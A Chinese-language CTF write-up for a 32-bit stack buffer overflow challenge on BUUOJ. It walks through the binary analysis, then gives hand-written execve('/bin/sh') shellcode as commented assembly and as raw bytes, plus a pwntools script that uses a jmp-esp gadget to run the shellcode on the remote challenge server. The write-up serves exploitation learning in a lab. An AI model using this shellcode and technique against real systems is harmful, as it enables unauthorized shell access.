1.checksec+运行
32位/没有保护
2.32IDA进行中
1.hint函数
提示函数,很有帮助,解题关键点
直接跳到esp栈顶指针
2.pwn函数
明显的fgets()函数溢出
跟进s看看偏移
offset = 0x20+4
向s里写入shellcode
注意一点:
如果直接用pwntools生成的shellcode,会很长,s里写不下
所以这就需要我们手动写入shellcode
shellcode ='''
xor eax,eax #eax置0
xor edx,edx #edx置0
push edx #将0入栈,标记了”/bin/sh”的结尾
push 0x68732f2f #传递”/sh”,为了4字节对齐,使用//sh,这在execve()中等同于/sh
push 0x6e69622f #传递“/bin”
mov ebx,esp #此时esp指向了”/bin/sh”,通过esp将该字符串的值传递给ebx
xor ecx,ecx
mov al,0xB #eax置为execve函数的中断号
int 0x80 #调用软中断
'''
shellcode=asm(shellcode)
这样就很完美的将shellcode的长度控制在21
机器码计算的长度为21,看其他师傅的博客为23的长度,具体不知,先记下,再研究(2022年4月23日)
\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80
3.脚本
from pwn import*
#p=process('./ciscns9')
p=remote("node4.buuoj.cn",26901)
jump_esp=0x8048554
shellcode =b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
payload=shellcode.ljust(0x24,b'\x00')+p32(jump_esp)+asm("sub esp,40;call esp")
#hex(40)=0x28----->0x24+4
#esp-0x28
#调用esp
p.sendline(payload)
p.interactive()